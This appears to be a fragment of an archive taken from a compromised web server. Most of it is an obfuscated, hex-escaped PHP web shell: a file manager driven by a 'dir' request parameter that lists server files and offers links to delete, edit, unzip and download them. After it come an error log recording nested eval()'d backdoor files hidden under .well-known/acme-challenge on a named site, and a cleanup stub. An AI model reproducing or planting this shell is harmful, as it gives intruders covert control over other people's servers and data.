\x61\x6c\x69\x67\156\075\042l\x65\x66\164\x22\076\074b\076\x4ea\x6de\x3c/\x62\076\074\057\164\x64\076\074t\x64\076<\x62>Si\x7ae\074\057\142\x3e\x3c\057\x74\144\x3e\x3c\x74\x64\x3e\074\x62\x3e\115\157\144i\146\171\074\x2fb\076\074/\x74\x64\x3e\x3c\x74\144\x3e\x3c\x62\076\x50\x65\x72\155\x69\x73\163\151\157\x6e\x73\074\x2f\x62\076<\057\x74\x64\x3e<\x74\x64\076\x3c\142\x3e\x41\143\x74\x69\157\x6e\x73\074\x2fb>\074\057\164\144\076\x3c\x2f\164\162\x3e\x0d\x0a\x0d\012\x09";if(isset($_GET["d\x69\x72"])):$_6=scAndIR($_GET["\x64\151r"]);else:$_6=SCAndIr($_SERVER["\104\x4f\x43\125\x4dEN\x54\x5f\122\x4f\x4f\124"]);endif;foreach($_6 as$_13):$_125=$_13;if(isset($_GET["\x64\151\x72"])):$_125=$_GET["\144\151\x72"]."\057".$_13;else:$_125=$_SERVER["\x44\x4fCUM\x45\116\x54\x5f\122OO\x54"]."\x2f".$_13;endif;if(IS_dIR($_125)):$_111[]=$_13;else:$_112[]=$_13;endif;endforeach;$_120=(00-00);foreach($_111 as$_13):if(($_13!=="\x2e") and ($_13!==".\x2e")):if(isset($_GET["\x64\x69\x72"])):$_126=$_GET["d\x69\162"]."\x2f".$_13;$_127=$_GET["d\x69\162"]."\x2f".$_13;else:$_126=$_SERVER["D\x4f\x43U\115\105\x4e\x54\137\122\x4fO\124"]."\057".$_13;$_127=$_SERVER["D\x4f\x43\x55\115\105\116\x54\x5f\122\117\117\124"]."\057".$_13;endif;$_128=$_127;$_15=strRchR($_128,"\x2f");$_128=STR_rEPlaCE($_15,"",$_128);$_76=__________($_126);if($_120%(int)rouND(0.66666666666667+0.66666666666667+0.66666666666667)==(int)ROUND(0+0+0+0)):$_129="\043f\x66\x66\070e\x37";else:$_129="\x23\146f\146fe\x30";endif;echo"\074\x74\162\040\x62g\143\157l\x6fr\075\042".$_129."\x22\040\x61\x6c\x69\147\x6e\075\042\x63\x65n\164\145\x72\042\076\x3c\164\144\040a\154\151g\x6e\075\x22\154\145\146\x74\x22\x20\x3e"."\x3c\x66\x6f\156\164\040c\157\x6c\x6f\162\075\042\x23\x39\060\064d\x33\060\x22\x3e\x3c\x62>\074\x61\x20\150\x72e\x66\x3d\042\x68\164\164\x70\x3a\057\057".$_35.$_36."\077d\x69\x72\x3d".$_127."\x22\x3e".$_13."</\141\x3e<\x2f\142\076\x3c\057f\157\x6e\x74\076"."\x3c\x2f\x74d\076\x3c\x74\144\076\144\151\x72\074\057\x74\x64\076\074\164\144>".$_76."\x3c/\x74\144\076\x3ctd\x3e".___($_126,"\060")."\074\057\x74\x64>\x3c\164\x64\x3e"."\074\x61\040\x68\x72e\146\075\x22\x68\x74\164\x70\x3a\x2f\x2f".$_35.$_36."\077d\145\x6c\x3d".$_126."\x26\x64\151r\x3d".$_128."\042\x3e\x55\x3c\x2f\141\076\046\156\x62\x73\x70\x3b"."</\x74\x64>\x3c/t\162\076";$_120++;endif;endforeach;foreach($_112 as$_13):if(isset($_GET["\x64\x69\x72"])):$_126=$_GET["\144\151\x72"]."\x2f".$_13;$_75=$_GET["\144\151\162"];else:$_126=$_SERVER["\x44\117C\x55M\105\x4e\124\x5f\x52\x4f\x4f\x54"]."\057".$_13;$_75=$_SERVER["\104\117\103\125M\105\x4e\124\x5f\x52\x4f\117\x54"];endif;$_76=__________($_126);$_77=STr_REpLAce($_SERVER["\x44\x4f\103\x55M\x45\x4e\124\137\x52\x4f\117\x54"],$_SERVER["\x53\105\x52\126\x45\122\x5f\116A\115\x45"],$_126);if($_120%(int)rOund(1+1)==(-0624-020- -0644)):$_129="\x23f\146\146\070\x657";else:$_129="\x23\x66\x66\146\146e\x30";endif;$_130=STrIstr($_13,"\056zi\160");if($_130!==false):$_130="\074\141 \150\x72\145f\075\042\x68\x74\164p\072\x2f\057".$_35.$_36."?\x75\156\x7ai\160=".$_126."\x26\144\151\x72\x3d".$_75."\x22\x3e\x5a\074\057\x61>\046\x6e\x62\163\160\073";else:$_130="\x3ca\040\150\x72\x65\x66\x3d\042\150t\164p\x3a\057/".$_35.$_36."\077e\144\151\164\x3d".$_126."\x26\144\151\x72\x3d".$_75."\x22>\x45\x3c\x2f\x61\x3e\046\x6e\x62s\x70\x3b";endif;echo"\x3c\164\x72 \x62g\143\x6f\154\x6fr\x3d\x22".$_129."\x22\x20\141\154\151\147\156\x3d\042\143\145\x6e\164\x65\162\042\x3e\x3c\164\x64\040\141\x6c\x69\x67\x6e\075\042\154e\x66\x74\042\x20\x3e"."\x3c\x61\x20\163\x74\171\x6c\145\x3d\042\164\145\170\x74\x2d\x64\145\143\x6f\x72\x61\x74\x69\157\156\x3a\x20\x6e\157\x6e\x65\x3b\x22\040h\162\145\146\075\042\150\164\164\x70\x3a\057\x2f".$_35.$_36."\077\x65\x64\x69\164\x3d".$_126."\046\x64\x69\162\x3d".$_75."\042\x3e\x3c\x66\157\156\164\x20\143\157\x6co\x72\x3d\042\x62\x6ca\143\153\x22\076".$_13."\074/\146\x6f\156\x74\076\x3c\057\141\076"."\x3c\057\164\144\x3e\074td>".___________($_126)."\x3c\057\x74d\076\x3c\x74\x64\076".$_76."\x3c\x2f\x74\144\076\x3c\x74\144\x3e".___($_126,"\060")."<\x2f\164\x64\x3e\x3c\x74\x64\x3e"."\074\x61\040\x68\162\x65\x66=\042\150t\x74p\x3a\x2f/".$_35.$_36."\x3fd\x65\x6c\075".$_126."\x26\144\x69\x72\075".$_75."\042\076U\074\x2f\141\076\x26\156\142s\x70\073".$_130."\x3c\141\x20\x74\141\162\147\x65\x74\075\042\137\x62\154\x61\x6e\153\042\040\150r\x65\146\x3d\042\150\x74\x74\x70\072/\x2f".$_77."\042\076\117\074\x2f\141\076\x26\x6eb\163\160\073"."\074\x61 \x68\162\x65\146\075\x22\150t\164\160\072\x2f/".$_35.$_36."\077\144\157\x77\156\x6c\x6f\141\x64\x3d".$_126."\046\144\x69r=".$_75."\x22\076\x44\074\057\141\x3e"."\x3c\057\164\144\x3e\x3c\057t\162\076";$_120++;endforeach;;echo"\074\x2f\164\141\142\x6c\x65\x3e"; .well-known/acme-challenge/error_log 0000644 00000004377 15114716233 0013477 0 ustar 00 [28-Mar-2024 05:42:28 UTC] PHP Parse error: syntax error, unexpected end of file in /tmp/.1711604548(1) : eval()'d code(1) : eval()'d code on line 1 [28-Mar-2024 05:42:39 UTC] PHP Parse error: syntax error, unexpected end of file in /tmp/.1711604559(1) : eval()'d code(1) : eval()'d code on line 1 [28-Mar-2024 05:42:48 UTC] PHP Parse error: syntax error, unexpected end of file in /tmp/.1711604568(1) : eval()'d code(1) : eval()'d code on line 1 [29-Mar-2024 07:21:26 UTC] PHP Deprecated: Optional parameter $dir declared before required parameter $mydir is implicitly treated as a required parameter in /home/gqdcvggs/auth.rommedia.eu/.well-known/acme-challenge/admin.php(1) : eval()'d code(1) : eval()'d code(9) : eval()'d code on line 1201 [29-Mar-2024 07:21:30 UTC] PHP Warning: chmod(): No such file or directory in /home/gqdcvggs/auth.rommedia.eu/.well-known/acme-challenge/samll.php(1) : eval()'d code(1) : eval()'d code on line 7 [29-Mar-2024 07:21:37 UTC] PHP Fatal error: Uncaught Error: Attempt to assign property "data" on null in /home/gqdcvggs/auth.rommedia.eu/.well-known/acme-challenge/LA.php(1) : eval()'d code(1) : eval()'d code:603 Stack trace: #0 /home/gqdcvggs/auth.rommedia.eu/.well-known/acme-challenge/LA.php(1) : eval()'d code(1) : eval()'d code(2): FM_Config->__construct() #1 /home/gqdcvggs/auth.rommedia.eu/.well-known/acme-challenge/LA.php(1) : eval()'d code(1): eval() #2 /home/gqdcvggs/auth.rommedia.eu/.well-known/acme-challenge/LA.php(1): eval() #3 {main} thrown in /home/gqdcvggs/auth.rommedia.eu/.well-known/acme-challenge/LA.php(1) : eval()'d code(1) : eval()'d code on line 603 [29-Mar-2024 10:50:13 UTC] PHP Fatal error: Uncaught TypeError: spl_autoload_unregister(): Argument #1 ($callback) must be a valid callback, function "ifiWMfWA" not found or invalid function name in /home/gqdcvggs/auth.rommedia.eu/.well-known/acme-challenge/ajaxupload.php:7 Stack trace: #0 /home/gqdcvggs/auth.rommedia.eu/.well-known/acme-challenge/ajaxupload.php(7): spl_autoload_unregister('ifiWMfWA') #1 [internal function]: _eYgUhXrfw('GPWIhNWmVbKtO') #2 /home/gqdcvggs/auth.rommedia.eu/.well-known/acme-challenge/ajaxupload.php(7): class_implements('GPWIhNWmVbKtO') #3 {main} thrown in /home/gqdcvggs/auth.rommedia.eu/.well-known/acme-challenge/ajaxupload.php on line 7 .well-known/acme-challenge/sgd.php 0000444 00000000253 15114716233 0013033 0 ustar 00 <?php /** * Note: This file may contain artifacts of previous malicious infection. * However, the dangerous code have been removed, and the file is now safe to use. */ ?>